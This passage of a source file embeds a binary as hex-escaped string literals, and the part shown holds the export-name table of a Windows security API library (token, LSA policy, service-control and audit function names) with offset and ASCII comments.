"\x74\x00\x47\x65\x74\x54\x6F\x6B\x65\x6E\x49\x6E\x66\x6F\x72\x6D" //t.GetTokenInform /* 0066A0 */ "\x61\x74\x69\x6F\x6E\x00\x47\x65\x74\x54\x72\x61\x63\x65\x45\x6E" //ation.GetTraceEn /* 0066C0 */ "\x61\x62\x6C\x65\x46\x6C\x61\x67\x73\x00\x47\x65\x74\x54\x72\x61" //ableFlags.GetTra /* 0066E0 */ "\x63\x65\x45\x6E\x61\x62\x6C\x65\x4C\x65\x76\x65\x6C\x00\x47\x65" //ceEnableLevel.Ge /* 006700 */ "\x74\x54\x72\x61\x63\x65\x4C\x6F\x67\x67\x65\x72\x48\x61\x6E\x64" //tTraceLoggerHand /* 006720 */ "\x6C\x65\x00\x47\x65\x74\x54\x72\x75\x73\x74\x65\x65\x46\x6F\x72" //le.GetTrusteeFor /* 006740 */ "\x6D\x41\x00\x47\x65\x74\x54\x72\x75\x73\x74\x65\x65\x46\x6F\x72" //mA.GetTrusteeFor /* 006760 */ "\x6D\x57\x00\x47\x65\x74\x54\x72\x75\x73\x74\x65\x65\x4E\x61\x6D" //mW.GetTrusteeNam /* 006780 */ "\x65\x41\x00\x47\x65\x74\x54\x72\x75\x73\x74\x65\x65\x4E\x61\x6D" //eA.GetTrusteeNam /* 0067A0 */ "\x65\x57\x00\x47\x65\x74\x54\x72\x75\x73\x74\x65\x65\x54\x79\x70" //eW.GetTrusteeTyp /* 0067C0 */ "\x65\x41\x00\x47\x65\x74\x54\x72\x75\x73\x74\x65\x65\x54\x79\x70" //eA.GetTrusteeTyp /* 0067E0 */ "\x65\x57\x00\x47\x65\x74\x55\x73\x65\x72\x4E\x61\x6D\x65\x41\x00" //eW.GetUserNameA. /* 006800 */ "\x47\x65\x74\x55\x73\x65\x72\x4E\x61\x6D\x65\x57\x00\x47\x65\x74" //GetUserNameW.Get /* 006820 */ "\x57\x69\x6E\x64\x6F\x77\x73\x41\x63\x63\x6F\x75\x6E\x74\x44\x6F" //WindowsAccountDo /* 006840 */ "\x6D\x61\x69\x6E\x53\x69\x64\x00\x49\x5F\x53\x63\x47\x65\x74\x43" //mainSid.I_ScGetC /* 006860 */ "\x75\x72\x72\x65\x6E\x74\x47\x72\x6F\x75\x70\x53\x74\x61\x74\x65" //urrentGroupState /* 006880 */ "\x57\x00\x49\x5F\x53\x63\x49\x73\x53\x65\x63\x75\x72\x69\x74\x79" //W.I_ScIsSecurity /* 0068A0 */ "\x50\x72\x6F\x63\x65\x73\x73\x00\x49\x5F\x53\x63\x50\x6E\x50\x47" //Process.I_ScPnPG /* 0068C0 */ "\x65\x74\x53\x65\x72\x76\x69\x63\x65\x4E\x61\x6D\x65\x00\x49\x5F" //etServiceName.I_ /* 0068E0 */ "\x53\x63\x53\x65\x6E\x64\x54\x53\x4D\x65\x73\x73\x61\x67\x65\x00" //ScSendTSMessage. /* 006900 */ "\x49\x5F\x53\x63\x53\x65\x74\x53\x65\x72\x76\x69\x63\x65\x42\x69" //I_ScSetServiceBi /* 006920 */ "\x74\x73\x41\x00\x49\x5F\x53\x63\x53\x65\x74\x53\x65\x72\x76\x69" //tsA.I_ScSetServi /* 006940 */ "\x63\x65\x42\x69\x74\x73\x57\x00\x49\x64\x65\x6E\x74\x69\x66\x79" //ceBitsW.Identify /* 006960 */ "\x43\x6F\x64\x65\x41\x75\x74\x68\x7A\x4C\x65\x76\x65\x6C\x57\x00" //CodeAuthzLevelW. /* 006980 */ "\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61\x74\x65\x41\x6E\x6F\x6E\x79" //ImpersonateAnony /* 0069A0 */ "\x6D\x6F\x75\x73\x54\x6F\x6B\x65\x6E\x00\x49\x6D\x70\x65\x72\x73" //mousToken.Impers /* 0069C0 */ "\x6F\x6E\x61\x74\x65\x4C\x6F\x67\x67\x65\x64\x4F\x6E\x55\x73\x65" //onateLoggedOnUse /* 0069E0 */ "\x72\x00\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61\x74\x65\x4E\x61\x6D" //r.ImpersonateNam /* 006A00 */ "\x65\x64\x50\x69\x70\x65\x43\x6C\x69\x65\x6E\x74\x00\x49\x6D\x70" //edPipeClient.Imp /* 006A20 */ "\x65\x72\x73\x6F\x6E\x61\x74\x65\x53\x65\x6C\x66\x00\x49\x6E\x69" //ersonateSelf.Ini /* 006A40 */ "\x74\x69\x61\x6C\x69\x7A\x65\x41\x63\x6C\x00\x49\x6E\x69\x74\x69" //tializeAcl.Initi /* 006A60 */ "\x61\x6C\x69\x7A\x65\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73" //alizeSecurityDes /* 006A80 */ "\x63\x72\x69\x70\x74\x6F\x72\x00\x49\x6E\x69\x74\x69\x61\x6C\x69" //criptor.Initiali /* 006AA0 */ "\x7A\x65\x53\x69\x64\x00\x49\x6E\x69\x74\x69\x61\x74\x65\x53\x79" //zeSid.InitiateSy /* 006AC0 */ "\x73\x74\x65\x6D\x53\x68\x75\x74\x64\x6F\x77\x6E\x41\x00\x49\x6E" //stemShutdownA.In /* 006AE0 */ "\x69\x74\x69\x61\x74\x65\x53\x79\x73\x74\x65\x6D\x53\x68\x75\x74" //itiateSystemShut /* 006B00 */ "\x64\x6F\x77\x6E\x45\x78\x41\x00\x49\x6E\x69\x74\x69\x61\x74\x65" //downExA.Initiate /* 006B20 */ "\x53\x79\x73\x74\x65\x6D\x53\x68\x75\x74\x64\x6F\x77\x6E\x45\x78" //SystemShutdownEx /* 006B40 */ "\x57\x00\x49\x6E\x69\x74\x69\x61\x74\x65\x53\x79\x73\x74\x65\x6D" //W.InitiateSystem /* 006B60 */ "\x53\x68\x75\x74\x64\x6F\x77\x6E\x57\x00\x49\x6E\x73\x74\x61\x6C" //ShutdownW.Instal /* 006B80 */ "\x6C\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x00\x49\x73\x54" //lApplication.IsT /* 006BA0 */ "\x65\x78\x74\x55\x6E\x69\x63\x6F\x64\x65\x00\x49\x73\x54\x6F\x6B" //extUnicode.IsTok /* 006BC0 */ "\x65\x6E\x52\x65\x73\x74\x72\x69\x63\x74\x65\x64\x00\x49\x73\x54" //enRestricted.IsT /* 006BE0 */ "\x6F\x6B\x65\x6E\x55\x6E\x74\x72\x75\x73\x74\x65\x64\x00\x49\x73" //okenUntrusted.Is /* 006C00 */ "\x56\x61\x6C\x69\x64\x41\x63\x6C\x00\x49\x73\x56\x61\x6C\x69\x64" //ValidAcl.IsValid /* 006C20 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74" //SecurityDescript /* 006C40 */ "\x6F\x72\x00\x49\x73\x56\x61\x6C\x69\x64\x53\x69\x64\x00\x49\x73" //or.IsValidSid.Is /* 006C60 */ "\x57\x65\x6C\x6C\x4B\x6E\x6F\x77\x6E\x53\x69\x64\x00\x4C\x6F\x63" //WellKnownSid.Loc /* 006C80 */ "\x6B\x53\x65\x72\x76\x69\x63\x65\x44\x61\x74\x61\x62\x61\x73\x65" //kServiceDatabase /* 006CA0 */ "\x00\x4C\x6F\x67\x6F\x6E\x55\x73\x65\x72\x41\x00\x4C\x6F\x67\x6F" //.LogonUserA.Logo /* 006CC0 */ "\x6E\x55\x73\x65\x72\x45\x78\x41\x00\x4C\x6F\x67\x6F\x6E\x55\x73" //nUserExA.LogonUs /* 006CE0 */ "\x65\x72\x45\x78\x45\x78\x57\x00\x4C\x6F\x67\x6F\x6E\x55\x73\x65" //erExExW.LogonUse /* 006D00 */ "\x72\x45\x78\x57\x00\x4C\x6F\x67\x6F\x6E\x55\x73\x65\x72\x57\x00" //rExW.LogonUserW. /* 006D20 */ "\x4C\x6F\x6F\x6B\x75\x70\x41\x63\x63\x6F\x75\x6E\x74\x4E\x61\x6D" //LookupAccountNam /* 006D40 */ "\x65\x41\x00\x4C\x6F\x6F\x6B\x75\x70\x41\x63\x63\x6F\x75\x6E\x74" //eA.LookupAccount /* 006D60 */ "\x4E\x61\x6D\x65\x57\x00\x4C\x6F\x6F\x6B\x75\x70\x41\x63\x63\x6F" //NameW.LookupAcco /* 006D80 */ "\x75\x6E\x74\x53\x69\x64\x41\x00\x4C\x6F\x6F\x6B\x75\x70\x41\x63" //untSidA.LookupAc /* 006DA0 */ "\x63\x6F\x75\x6E\x74\x53\x69\x64\x57\x00\x4C\x6F\x6F\x6B\x75\x70" //countSidW.Lookup /* 006DC0 */ "\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x44\x69\x73\x70\x6C\x61\x79" //PrivilegeDisplay /* 006DE0 */ "\x4E\x61\x6D\x65\x41\x00\x4C\x6F\x6F\x6B\x75\x70\x50\x72\x69\x76" //NameA.LookupPriv /* 006E00 */ "\x69\x6C\x65\x67\x65\x44\x69\x73\x70\x6C\x61\x79\x4E\x61\x6D\x65" //ilegeDisplayName /* 006E20 */ "\x57\x00\x4C\x6F\x6F\x6B\x75\x70\x50\x72\x69\x76\x69\x6C\x65\x67" //W.LookupPrivileg /* 006E40 */ "\x65\x4E\x61\x6D\x65\x41\x00\x4C\x6F\x6F\x6B\x75\x70\x50\x72\x69" //eNameA.LookupPri /* 006E60 */ "\x76\x69\x6C\x65\x67\x65\x4E\x61\x6D\x65\x57\x00\x4C\x6F\x6F\x6B" //vilegeNameW.Look /* 006E80 */ "\x75\x70\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x56\x61\x6C\x75\x65" //upPrivilegeValue /* 006EA0 */ "\x41\x00\x4C\x6F\x6F\x6B\x75\x70\x50\x72\x69\x76\x69\x6C\x65\x67" //A.LookupPrivileg /* 006EC0 */ "\x65\x56\x61\x6C\x75\x65\x57\x00\x4C\x6F\x6F\x6B\x75\x70\x53\x65" //eValueW.LookupSe /* 006EE0 */ "\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72" //curityDescriptor /* 006F00 */ "\x50\x61\x72\x74\x73\x41\x00\x4C\x6F\x6F\x6B\x75\x70\x53\x65\x63" //PartsA.LookupSec /* 006F20 */ "\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x50" //urityDescriptorP /* 006F40 */ "\x61\x72\x74\x73\x57\x00\x4C\x73\x61\x41\x64\x64\x41\x63\x63\x6F" //artsW.LsaAddAcco /* 006F60 */ "\x75\x6E\x74\x52\x69\x67\x68\x74\x73\x00\x4C\x73\x61\x41\x64\x64" //untRights.LsaAdd /* 006F80 */ "\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x73\x54\x6F\x41\x63\x63\x6F" //PrivilegesToAcco /* 006FA0 */ "\x75\x6E\x74\x00\x4C\x73\x61\x43\x6C\x65\x61\x72\x41\x75\x64\x69" //unt.LsaClearAudi /* 006FC0 */ "\x74\x4C\x6F\x67\x00\x4C\x73\x61\x43\x6C\x6F\x73\x65\x00\x4C\x73" //tLog.LsaClose.Ls /* 006FE0 */ "\x61\x43\x72\x65\x61\x74\x65\x41\x63\x63\x6F\x75\x6E\x74\x00\x4C" //aCreateAccount.L /* 007000 */ "\x73\x61\x43\x72\x65\x61\x74\x65\x53\x65\x63\x72\x65\x74\x00\x4C" //saCreateSecret.L /* 007020 */ "\x73\x61\x43\x72\x65\x61\x74\x65\x54\x72\x75\x73\x74\x65\x64\x44" //saCreateTrustedD /* 007040 */ "\x6F\x6D\x61\x69\x6E\x00\x4C\x73\x61\x43\x72\x65\x61\x74\x65\x54" //omain.LsaCreateT /* 007060 */ "\x72\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x45\x78\x00\x4C" //rustedDomainEx.L /* 007080 */ "\x73\x61\x44\x65\x6C\x65\x74\x65\x00\x4C\x73\x61\x44\x65\x6C\x65" //saDelete.LsaDele /* 0070A0 */ "\x74\x65\x54\x72\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x00" //teTrustedDomain. /* 0070C0 */ "\x4C\x73\x61\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x41\x63\x63\x6F" //LsaEnumerateAcco /* 0070E0 */ "\x75\x6E\x74\x52\x69\x67\x68\x74\x73\x00\x4C\x73\x61\x45\x6E\x75" //untRights.LsaEnu /* 007100 */ "\x6D\x65\x72\x61\x74\x65\x41\x63\x63\x6F\x75\x6E\x74\x73\x00\x4C" //merateAccounts.L /* 007120 */ "\x73\x61\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x41\x63\x63\x6F\x75" //saEnumerateAccou /* 007140 */ "\x6E\x74\x73\x57\x69\x74\x68\x55\x73\x65\x72\x52\x69\x67\x68\x74" //ntsWithUserRight /* 007160 */ "\x00\x4C\x73\x61\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x50\x72\x69" //.LsaEnumeratePri /* 007180 */ "\x76\x69\x6C\x65\x67\x65\x73\x00\x4C\x73\x61\x45\x6E\x75\x6D\x65" //vileges.LsaEnume /* 0071A0 */ "\x72\x61\x74\x65\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x73\x4F\x66" //ratePrivilegesOf /* 0071C0 */ "\x41\x63\x63\x6F\x75\x6E\x74\x00\x4C\x73\x61\x45\x6E\x75\x6D\x65" //Account.LsaEnume /* 0071E0 */ "\x72\x61\x74\x65\x54\x72\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69" //rateTrustedDomai /* 007200 */ "\x6E\x73\x00\x4C\x73\x61\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x54" //ns.LsaEnumerateT /* 007220 */ "\x72\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x73\x45\x78\x00" //rustedDomainsEx. /* 007240 */ "\x4C\x73\x61\x46\x72\x65\x65\x4D\x65\x6D\x6F\x72\x79\x00\x4C\x73" //LsaFreeMemory.Ls /* 007260 */ "\x61\x47\x65\x74\x51\x75\x6F\x74\x61\x73\x46\x6F\x72\x41\x63\x63" //aGetQuotasForAcc /* 007280 */ "\x6F\x75\x6E\x74\x00\x4C\x73\x61\x47\x65\x74\x52\x65\x6D\x6F\x74" //ount.LsaGetRemot /* 0072A0 */ "\x65\x55\x73\x65\x72\x4E\x61\x6D\x65\x00\x4C\x73\x61\x47\x65\x74" //eUserName.LsaGet /* 0072C0 */ "\x53\x79\x73\x74\x65\x6D\x41\x63\x63\x65\x73\x73\x41\x63\x63\x6F" //SystemAccessAcco /* 0072E0 */ "\x75\x6E\x74\x00\x4C\x73\x61\x47\x65\x74\x55\x73\x65\x72\x4E\x61" //unt.LsaGetUserNa /* 007300 */ "\x6D\x65\x00\x4C\x73\x61\x49\x43\x4C\x6F\x6F\x6B\x75\x70\x4E\x61" //me.LsaICLookupNa /* 007320 */ "\x6D\x65\x73\x00\x4C\x73\x61\x49\x43\x4C\x6F\x6F\x6B\x75\x70\x4E" //mes.LsaICLookupN /* 007340 */ "\x61\x6D\x65\x73\x57\x69\x74\x68\x43\x72\x65\x64\x73\x00\x4C\x73" //amesWithCreds.Ls /* 007360 */ "\x61\x49\x43\x4C\x6F\x6F\x6B\x75\x70\x53\x69\x64\x73\x00\x4C\x73" //aICLookupSids.Ls /* 007380 */ "\x61\x49\x43\x4C\x6F\x6F\x6B\x75\x70\x53\x69\x64\x73\x57\x69\x74" //aICLookupSidsWit /* 0073A0 */ "\x68\x43\x72\x65\x64\x73\x00\x4C\x73\x61\x4C\x6F\x6F\x6B\x75\x70" //hCreds.LsaLookup /* 0073C0 */ "\x4E\x61\x6D\x65\x73\x00\x4C\x73\x61\x4C\x6F\x6F\x6B\x75\x70\x4E" //Names.LsaLookupN /* 0073E0 */ "\x61\x6D\x65\x73\x32\x00\x4C\x73\x61\x4C\x6F\x6F\x6B\x75\x70\x50" //ames2.LsaLookupP /* 007400 */ "\x72\x69\x76\x69\x6C\x65\x67\x65\x44\x69\x73\x70\x6C\x61\x79\x4E" //rivilegeDisplayN /* 007420 */ "\x61\x6D\x65\x00\x4C\x73\x61\x4C\x6F\x6F\x6B\x75\x70\x50\x72\x69" //ame.LsaLookupPri /* 007440 */ "\x76\x69\x6C\x65\x67\x65\x4E\x61\x6D\x65\x00\x4C\x73\x61\x4C\x6F" //vilegeName.LsaLo /* 007460 */ "\x6F\x6B\x75\x70\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x56\x61\x6C" //okupPrivilegeVal /* 007480 */ "\x75\x65\x00\x4C\x73\x61\x4C\x6F\x6F\x6B\x75\x70\x53\x69\x64\x73" //ue.LsaLookupSids /* 0074A0 */ "\x00\x4C\x73\x61\x4E\x74\x53\x74\x61\x74\x75\x73\x54\x6F\x57\x69" //.LsaNtStatusToWi /* 0074C0 */ "\x6E\x45\x72\x72\x6F\x72\x00\x4C\x73\x61\x4F\x70\x65\x6E\x41\x63" //nError.LsaOpenAc /* 0074E0 */ "\x63\x6F\x75\x6E\x74\x00\x4C\x73\x61\x4F\x70\x65\x6E\x50\x6F\x6C" //count.LsaOpenPol /* 007500 */ "\x69\x63\x79\x00\x4C\x73\x61\x4F\x70\x65\x6E\x50\x6F\x6C\x69\x63" //icy.LsaOpenPolic /* 007520 */ "\x79\x53\x63\x65\x00\x4C\x73\x61\x4F\x70\x65\x6E\x53\x65\x63\x72" //ySce.LsaOpenSecr /* 007540 */ "\x65\x74\x00\x4C\x73\x61\x4F\x70\x65\x6E\x54\x72\x75\x73\x74\x65" //et.LsaOpenTruste /* 007560 */ "\x64\x44\x6F\x6D\x61\x69\x6E\x00\x4C\x73\x61\x4F\x70\x65\x6E\x54" //dDomain.LsaOpenT /* 007580 */ "\x72\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x42\x79\x4E\x61" //rustedDomainByNa /* 0075A0 */ "\x6D\x65\x00\x4C\x73\x61\x51\x75\x65\x72\x79\x44\x6F\x6D\x61\x69" //me.LsaQueryDomai /* 0075C0 */ "\x6E\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x50\x6F\x6C\x69" //nInformationPoli /* 0075E0 */ "\x63\x79\x00\x4C\x73\x61\x51\x75\x65\x72\x79\x46\x6F\x72\x65\x73" //cy.LsaQueryFores /* 007600 */ "\x74\x54\x72\x75\x73\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F" //tTrustInformatio /* 007620 */ "\x6E\x00\x4C\x73\x61\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x54\x72" //n.LsaQueryInfoTr /* 007640 */ "\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x00\x4C\x73\x61\x51" //ustedDomain.LsaQ /* 007660 */ "\x75\x65\x72\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x50" //ueryInformationP /* 007680 */ "\x6F\x6C\x69\x63\x79\x00\x4C\x73\x61\x51\x75\x65\x72\x79\x53\x65" //olicy.LsaQuerySe /* 0076A0 */ "\x63\x72\x65\x74\x00\x4C\x73\x61\x51\x75\x65\x72\x79\x53\x65\x63" //cret.LsaQuerySec /* 0076C0 */ "\x75\x72\x69\x74\x79\x4F\x62\x6A\x65\x63\x74\x00\x4C\x73\x61\x51" //urityObject.LsaQ /* 0076E0 */ "\x75\x65\x72\x79\x54\x72\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69" //ueryTrustedDomai /* 007700 */ "\x6E\x49\x6E\x66\x6F\x00\x4C\x73\x61\x51\x75\x65\x72\x79\x54\x72" //nInfo.LsaQueryTr /* 007720 */ "\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x49\x6E\x66\x6F\x42" //ustedDomainInfoB /* 007740 */ "\x79\x4E\x61\x6D\x65\x00\x4C\x73\x61\x52\x65\x6D\x6F\x76\x65\x41" //yName.LsaRemoveA /* 007760 */ "\x63\x63\x6F\x75\x6E\x74\x52\x69\x67\x68\x74\x73\x00\x4C\x73\x61" //ccountRights.Lsa /* 007780 */ "\x52\x65\x6D\x6F\x76\x65\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x73" //RemovePrivileges /* 0077A0 */ "\x46\x72\x6F\x6D\x41\x63\x63\x6F\x75\x6E\x74\x00\x4C\x73\x61\x52" //FromAccount.LsaR /* 0077C0 */ "\x65\x74\x72\x69\x65\x76\x65\x50\x72\x69\x76\x61\x74\x65\x44\x61" //etrievePrivateDa /* 0077E0 */ "\x74\x61\x00\x4C\x73\x61\x53\x65\x74\x44\x6F\x6D\x61\x69\x6E\x49" //ta.LsaSetDomainI /* 007800 */ "\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x50\x6F\x6C\x69\x63\x79" //nformationPolicy /* 007820 */ "\x00\x4C\x73\x61\x53\x65\x74\x46\x6F\x72\x65\x73\x74\x54\x72\x75" //.LsaSetForestTru /* 007840 */ "\x73\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x4C\x73" //stInformation.Ls /* 007860 */ "\x61\x53\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x50" //aSetInformationP /* 007880 */ "\x6F\x6C\x69\x63\x79\x00\x4C\x73\x61\x53\x65\x74\x49\x6E\x66\x6F" //olicy.LsaSetInfo /* 0078A0 */ "\x72\x6D\x61\x74\x69\x6F\x6E\x54\x72\x75\x73\x74\x65\x64\x44\x6F" //rmationTrustedDo /* 0078C0 */ "\x6D\x61\x69\x6E\x00\x4C\x73\x61\x53\x65\x74\x51\x75\x6F\x74\x61" //main.LsaSetQuota /* 0078E0 */ "\x73\x46\x6F\x72\x41\x63\x63\x6F\x75\x6E\x74\x00\x4C\x73\x61\x53" //sForAccount.LsaS /* 007900 */ "\x65\x74\x53\x65\x63\x72\x65\x74\x00\x4C\x73\x61\x53\x65\x74\x53" //etSecret.LsaSetS /* 007920 */ "\x65\x63\x75\x72\x69\x74\x79\x4F\x62\x6A\x65\x63\x74\x00\x4C\x73" //ecurityObject.Ls /* 007940 */ "\x61\x53\x65\x74\x53\x79\x73\x74\x65\x6D\x41\x63\x63\x65\x73\x73" //aSetSystemAccess /* 007960 */ "\x41\x63\x63\x6F\x75\x6E\x74\x00\x4C\x73\x61\x53\x65\x74\x54\x72" //Account.LsaSetTr /* 007980 */ "\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x49\x6E\x66\x6F\x42" //ustedDomainInfoB /* 0079A0 */ "\x79\x4E\x61\x6D\x65\x00\x4C\x73\x61\x53\x65\x74\x54\x72\x75\x73" //yName.LsaSetTrus /* 0079C0 */ "\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x49\x6E\x66\x6F\x72\x6D\x61" //tedDomainInforma /* 0079E0 */ "\x74\x69\x6F\x6E\x00\x4C\x73\x61\x53\x74\x6F\x72\x65\x50\x72\x69" //tion.LsaStorePri /* 007A00 */ "\x76\x61\x74\x65\x44\x61\x74\x61\x00\x4D\x44\x34\x46\x69\x6E\x61" //vateData.MD4Fina /* 007A20 */ "\x6C\x00\x4D\x44\x34\x49\x6E\x69\x74\x00\x4D\x44\x34\x55\x70\x64" //l.MD4Init.MD4Upd /* 007A40 */ "\x61\x74\x65\x00\x4D\x44\x35\x46\x69\x6E\x61\x6C\x00\x4D\x44\x35" //ate.MD5Final.MD5 /* 007A60 */ "\x49\x6E\x69\x74\x00\x4D\x44\x35\x55\x70\x64\x61\x74\x65\x00\x4D" //Init.MD5Update.M /* 007A80 */ "\x53\x43\x68\x61\x70\x53\x72\x76\x43\x68\x61\x6E\x67\x65\x50\x61" //SChapSrvChangePa /* 007AA0 */ "\x73\x73\x77\x6F\x72\x64\x00\x4D\x53\x43\x68\x61\x70\x53\x72\x76" //ssword.MSChapSrv /* 007AC0 */ "\x43\x68\x61\x6E\x67\x65\x50\x61\x73\x73\x77\x6F\x72\x64\x32\x00" //ChangePassword2. /* 007AE0 */ "\x4D\x61\x6B\x65\x41\x62\x73\x6F\x6C\x75\x74\x65\x53\x44\x00\x4D" //MakeAbsoluteSD.M /* 007B00 */ "\x61\x6B\x65\x41\x62\x73\x6F\x6C\x75\x74\x65\x53\x44\x32\x00\x4D" //akeAbsoluteSD2.M /* 007B20 */ "\x61\x6B\x65\x53\x65\x6C\x66\x52\x65\x6C\x61\x74\x69\x76\x65\x53" //akeSelfRelativeS /* 007B40 */ "\x44\x00\x4D\x61\x70\x47\x65\x6E\x65\x72\x69\x63\x4D\x61\x73\x6B" //D.MapGenericMask /* 007B60 */ "\x00\x4E\x6F\x74\x69\x66\x79\x42\x6F\x6F\x74\x43\x6F\x6E\x66\x69" //.NotifyBootConfi /* 007B80 */ "\x67\x53\x74\x61\x74\x75\x73\x00\x4E\x6F\x74\x69\x66\x79\x43\x68" //gStatus.NotifyCh /* 007BA0 */ "\x61\x6E\x67\x65\x45\x76\x65\x6E\x74\x4C\x6F\x67\x00\x4F\x62\x6A" //angeEventLog.Obj /* 007BC0 */ "\x65\x63\x74\x43\x6C\x6F\x73\x65\x41\x75\x64\x69\x74\x41\x6C\x61" //ectCloseAuditAla /* 007BE0 */ "\x72\x6D\x41\x00\x4F\x62\x6A\x65\x63\x74\x43\x6C\x6F\x73\x65\x41" //rmA.ObjectCloseA /* 007C00 */ "\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x57\x00\x4F\x62\x6A\x65\x63" //uditAlarmW.Objec /* 007C20 */ "\x74\x44\x65\x6C\x65\x74\x65\x41\x75\x64\x69\x74\x41\x6C\x61\x72" //tDeleteAuditAlar /* 007C40 */ "\x6D\x41\x00\x4F\x62\x6A\x65\x63\x74\x44\x65\x6C\x65\x74\x65\x41" //mA.ObjectDeleteA /* 007C60 */ "\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x57\x00\x4F\x62\x6A\x65\x63" //uditAlarmW.Objec /* 007C80 */ "\x74\x4F\x70\x65\x6E\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x41" //tOpenAuditAlarmA /* 007CA0 */ "\x00\x4F\x62\x6A\x65\x63\x74\x4F\x70\x65\x6E\x41\x75\x64\x69\x74" //.ObjectOpenAudit /* 007CC0 */ "\x41\x6C\x61\x72\x6D\x57\x00\x4F\x62\x6A\x65\x63\x74\x50\x72\x69" //AlarmW.ObjectPri /* 007CE0 */ "\x76\x69\x6C\x65\x67\x65\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D" //vilegeAuditAlarm /* 007D00 */ "\x41\x00\x4F\x62\x6A\x65\x63\x74\x50\x72\x69\x76\x69\x6C\x65\x67" //A.ObjectPrivileg /* 007D20 */ "\x65\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x57\x00\x4F\x70\x65" //eAuditAlarmW.Ope /* 007D40 */ "\x6E\x42\x61\x63\x6B\x75\x70\x45\x76\x65\x6E\x74\x4C\x6F\x67\x41" //nBackupEventLogA /* 007D60 */ "\x00\x4F\x70\x65\x6E\x42\x61\x63\x6B\x75\x70\x45\x76\x65\x6E\x74" //.OpenBackupEvent /* 007D80 */ "\x4C\x6F\x67\x57\x00\x4F\x70\x65\x6E\x45\x6E\x63\x72\x79\x70\x74" //LogW.OpenEncrypt /* 007DA0 */ "\x65\x64\x46\x69\x6C\x65\x52\x61\x77\x41\x00\x4F\x70\x65\x6E\x45" //edFileRawA.OpenE /* 007DC0 */ "\x6E\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x52\x61\x77\x57" //ncryptedFileRawW /* 007DE0 */ "\x00\x4F\x70\x65\x6E\x45\x76\x65\x6E\x74\x4C\x6F\x67\x41\x00\x4F" //.OpenEventLogA.O /* 007E00 */ "\x70\x65\x6E\x45\x76\x65\x6E\x74\x4C\x6F\x67\x57\x00\x4F\x70\x65" //penEventLogW.Ope /* 007E20 */ "\x6E\x50\x72\x6F\x63\x65\x73\x73\x54\x6F\x6B\x65\x6E\x00\x4F\x70" //nProcessToken.Op /* 007E40 */ "\x65\x6E\x53\x43\x4D\x61\x6E\x61\x67\x65\x72\x41\x00\x4F\x70\x65" //enSCManagerA.Ope /* 007E60 */ "\x6E\x53\x43\x4D\x61\x6E\x61\x67\x65\x72\x57\x00\x4F\x70\x65\x6E" //nSCManagerW.Open /* 007E80 */ "\x53\x65\x72\x76\x69\x63\x65\x41\x00\x4F\x70\x65\x6E\x53\x65\x72" //ServiceA.OpenSer /* 007EA0 */ "\x76\x69\x63\x65\x57\x00\x4F\x70\x65\x6E\x54\x68\x72\x65\x61\x64" //viceW.OpenThread /* 007EC0 */ "\x54\x6F\x6B\x65\x6E\x00\x4F\x70\x65\x6E\x54\x72\x61\x63\x65\x41" //Token.OpenTraceA /* 007EE0 */ "\x00\x4F\x70\x65\x6E\x54\x72\x61\x63\x65\x57\x00\x50\x72\x69\x76" //.OpenTraceW.Priv /* 007F00 */ "\x69\x6C\x65\x67\x65\x43\x68\x65\x63\x6B\x00\x50\x72\x69\x76\x69" //ilegeCheck.Privi /* 007F20 */ "\x6C\x65\x67\x65\x64\x53\x65\x72\x76\x69\x63\x65\x41\x75\x64\x69" //legedServiceAudi /* 007F40 */ "\x74\x41\x6C\x61\x72\x6D\x41\x00\x50\x72\x69\x76\x69\x6C\x65\x67" //tAlarmA.Privileg /* 007F60 */ "\x65\x64\x53\x65\x72\x76\x69\x63\x65\x41\x75\x64\x69\x74\x41\x6C" //edServiceAuditAl /* 007F80 */ "\x61\x72\x6D\x57\x00\x50\x72\x6F\x63\x65\x73\x73\x49\x64\x6C\x65" //armW.ProcessIdle /* 007FA0 */ "\x54\x61\x73\x6B\x73\x00\x50\x72\x6F\x63\x65\x73\x73\x54\x72\x61" //Tasks.ProcessTra /* 007FC0 */ "\x63\x65\x00\x51\x75\x65\x72\x79\x41\x6C\x6C\x54\x72\x61\x63\x65" //ce.QueryAllTrace /* 